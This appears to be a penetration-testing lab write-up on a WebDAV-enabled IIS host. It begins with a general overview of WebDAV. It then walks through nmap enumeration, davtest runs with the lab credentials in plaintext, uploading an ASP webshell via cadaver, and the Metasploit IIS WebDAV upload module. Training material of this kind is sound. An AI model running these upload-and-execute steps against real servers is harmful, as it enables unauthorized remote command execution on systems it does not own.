Webdav

WebDAV is an extension of the HTTP protocol that allows users to collaboratively edit and manage files on remote web servers as if they were a local network drive. It enables remote read and write access to server files, providing a way to manage web content and acting as an alternative to protocols like FTP. Common use cases include acting as a backend for cloud storage services and providing access to shared folders on network-attached storage (NAS) devices. How it works

• Protocol Extensions: WebDAV adds new methods to the HTTP protocol to manage files, such as COPY, MOVE, and LOCK.

• Remote File Access: It allows clients to perform file operations like creating, deleting, and renaming files and folders over a network.

• Collaborative Editing: The LOCK command prevents multiple users from editing the same file simultaneously, which is crucial for collaborative environments.

• Standardization: It is an open standard, meaning it can be implemented across different operating systems like Windows, macOS, and Linux.

Common uses and features

• Cloud Storage: Many cloud storage services, like Nextcloud and some configurations of Box, use WebDAV to provide remote access to files.

• Network Drives: It allows you to map a remote folder on a web server as a network drive on your local computer.

• Alternatives to FTP: WebDAV is often seen as a more secure and convenient alternative to FTP because it can use the same port as regular web traffic (port 80 or 443), and it has better security options built in.

• Other Protocols: WebDAV is the foundation for other protocols like CalDAV (for calendars) and CardDAV (for address books).

How to connect

• Windows: You can map a WebDAV drive through File Explorer by right-clicking "This PC," selecting "Map network drive," and entering the WebDAV server's URL.

• macOS: Use the "Connect to Server" option in Finder and enter the server's path, which often starts with https://.

• Linux: You can mount a WebDAV share from the command line using tools like davfs2.

Scanning

We have webdav on IIS

┌──(root㉿INE)-[~]
└─# sudo nmap -A demo.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-29 19:05 IST
Nmap scan report for demo.ine.local (10.5.23.28)
Host is up (0.0032s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND LOCK UNLOCK PROPPATCH MKCOL PUT DELETE MOVE
|_http-title: Did not follow redirect to /Default.aspx
| http-webdav-scan: 
|   Server Type: Microsoft-IIS/10.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK
|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Sat, 29 Nov 2025 13:36:20 GMT
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3306/tcp open  mysql         MySQL (unauthorized)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: DOTNETGOAT
|   NetBIOS_Domain_Name: DOTNETGOAT
|   NetBIOS_Computer_Name: DOTNETGOAT
|   DNS_Domain_Name: DotNetGoat
|   DNS_Computer_Name: DotNetGoat
|   Product_Version: 10.0.17763
|_  System_Time: 2025-11-29T13:36:20+00:00
| ssl-cert: Subject: commonName=DotNetGoat
| Not valid before: 2025-11-28T13:34:01
|_Not valid after:  2026-05-30T13:34:01
|_ssl-date: 2025-11-29T13:36:28+00:00; 0s from scanner time.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=11/29%OT=80%CT=1%CU=33097%PV=Y%DS=3%DC=T%G=Y%TM=692
OS:AF6DD%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S
OS:%TS=U)SEQ(SP=107%GCD=4%ISR=108%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M55FNW8NN
OS:S%O2=M55FNW8NNS%O3=M55FNW8%O4=M55FNW8NNS%O5=M55FNW8NNS%O6=M55FNNS)WIN(W1
OS:=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=7F%W=FFFF%O
OS:=M55FNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=7F%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T
OS:=7F%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=7F%W=0%S=Z%A=O%F=AR%O=%RD=
OS:0%Q=)T4(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=7F%W=0%S=
OS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=
OS:Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=7F%IPL=164%UN=0%R
OS:IPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=7F%CD=Z)

Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-11-29T13:36:24
|_  start_date: N/A

TRACEROUTE (using port 1723/tcp)
HOP RTT     ADDRESS
1   0.07 ms ap-south-17 (10.10.44.1)
2   ...
3   3.40 ms demo.ine.local (10.5.23.28)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.13 seconds

Finding WebDav directories

We can make use of Nmap script to find the webdav directory

──(root㉿INE)-[~]
└─# nmap --script http-enum -sV -p 80 demo.ine.local                                                                                                                 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-29 19:09 IST
Nmap scan report for demo.ine.local (10.5.23.28)
Host is up (0.0034s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-enum: 
|_  /webdav/: Potentially interesting folder (401 Unauthorized)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.95 seconds

Running davtest tool

davtest -url http://demo.ine.local/webdav

We can notice, /webdav path is secured with basic authentication.

Running davtest tool with credentials

┌──(root㉿INE)-[~]
└─# davtest -auth bob:password_123321 -url http://demo.ine.local/webdav                                                                                              
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://demo.ine.local/webdav
********************************************************
NOTE    Random string for this session: sDxVmbzX_Ps
********************************************************
 Creating directory
MKCOL           SUCCEED:                Created http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps
********************************************************
 Sending test files
PUT     php     SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.php
PUT     shtml   SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.shtml
PUT     txt     SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.txt
PUT     jsp     SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.jsp
PUT     pl      SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.pl
PUT     cfm     SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.cfm
PUT     aspx    SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.aspx
PUT     asp     SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.asp
PUT     jhtml   SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.jhtml
PUT     cgi     SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.cgi
PUT     html    SUCCEED:        http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.html

We can notice, we have uploaded almost all the important file types to the /webdav directory. Also, we can execute three types of files. i.e asp, text, and html.

Upload a asp shell using cadaver

The cadaver tool is a command-line WebDAV client for Unix that allows users to interact with WebDAV-enabled web servers as if they were a local or network filesystem. Its operation is modeled after the standard BSD ftp client and the Samba project's smbclient tool, making it familiar to users experienced with those command-line interfaces

┌──(root㉿INE)-[~]
└─# cadaver http://demo.ine.local/webdav                                                                                                                             
Authentication required for demo.ine.local on server `demo.ine.local':
Username: bob
Password: 
dav:/webdav/> 

Now Upload asp backdoor to the IIS web server in webdav directory.

put /usr/share/webshells/asp/webshell.asp
ls

Access the backdoor using the firefox browser

URL: http://demo.ine.local/webdav

Enter credentials: bob:password_123321

We can enter Windows commands in the text-box input field.

URL: http://demo.ine.local/webdav/webshell.asp

Exploit with Metasploit

msfconsole -q
use exploit/windows/iis/iis_webdav_upload_asp
set RHOSTS demo.ine.local
set HttpUsername bob
set HttpPassword password_123321
set PATH /webdav/metasploit%RAND%.asp
exploit